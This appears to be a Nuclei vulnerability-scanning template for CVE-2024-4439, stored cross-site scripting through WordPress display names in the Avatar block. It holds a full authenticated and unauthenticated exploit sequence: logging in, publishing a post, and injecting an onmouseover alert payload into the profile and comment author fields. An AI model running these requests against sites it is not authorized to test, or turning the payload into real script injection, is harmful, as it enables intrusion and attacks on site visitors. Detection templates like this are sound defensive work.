id: CVE-2024-4439

info:
  name: WordPress Core <6.5.2 - Cross-Site Scripting
  author: nqdung2002
  severity: high
  description: |
    WordPress Core is vulnerable to Stored Cross-Site Scripting via user display names in the Avatar block in various versions up to 6.5.2 due to insufficient output escaping on the display name.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. In addition, it also makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that have the comment block present and display the comment author's avatar.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4439
    - https://www.cvedetails.com/cve/CVE-2024-4439/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2024-4439
    cwe-id: CWE-80
    epss-score: 0.70822
    epss-percentile: 0.99315
  metadata:
    max-request: 10
    framework: wordpress
  tags: wpscan,xss,wp,wordpress,footnote,sxss,post,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/ HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-admin/post-new.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /?rest_route=/wp/v2/posts/{{postid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-HTTP-Method-Override: PUT
        X-WP-Nonce: {{post_nonce}}

        {"id":{{postid}},"title":"CVE-2024-4439","content":"<!-- wp:avatar {\"isLink\":true,\"linkTarget\":\"_blank\"} /-->","status":"publish"}

      - |
        GET /wp-admin/profile.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/profile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{profile_nonce}}&first_name=%22+onmouseover%3Dalert%28document.domain%29%3B+%2F%2F&last_name=&nickname=admin&display_name=%22+onmouseover%3Dalert%28document.domain%29%3B+%2F%2F&email=admin%40gmail.com&action=update&user_id={{userid}}&submit=Update+Profile

      - |
        GET wp-login.php?action=logout&_wpnonce={{logout_nonce}} HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-comments-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        comment=Unauthenticated+Comment&author=%22+onmouseover%3Dalert%28document.domain%29%3B+%2F%2F&email=example%40gmail.com&url=example.com&submit=Post+Comment&comment_post_ID={{postid}}

      - |
        GET /?p={{postid}} HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: word
        part: body_9
        words:
          - 'aria-label="(" onmouseover=alert(document.domain);'

      - type: word
        part: header_9
        words:
          - 'text/html'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: userid
        part: body_2
        group: 1
        internal: true
        regex:
          - 'user_id=(\d+)'

      - type: regex
        name: logout_nonce
        part: body_2
        group: 2
        internal: true
        regex:
          - 'action=logout&(.*);\_wpnonce=(.{10})'

      - type: regex
        name: postid
        part: body_3
        group: 1
        internal: true
        regex:
          - 'post=(\d+)'

      - type: regex
        name: post_nonce
        part: body_3
        group: 1
        internal: true
        regex:
          - 'createNonceMiddleware\(\s"(.*)\"\s\)'

      - type: regex
        name: profile_nonce
        part: body_5
        group: 1
        internal: true
        regex:
          - 'name=\"\_wpnonce\"\svalue="(.{10})\"\s'
# digest: 4a0a0047304502201d54f8c8caa735f07389443ed7e9c09467b6b17836716a7c649cced9cc4fd894022100a4e1886742119735caf1e9a42f574653c68579d9e959f8f11a80bb96e9a8679f:922c64590222798bb761d5b6d8e72950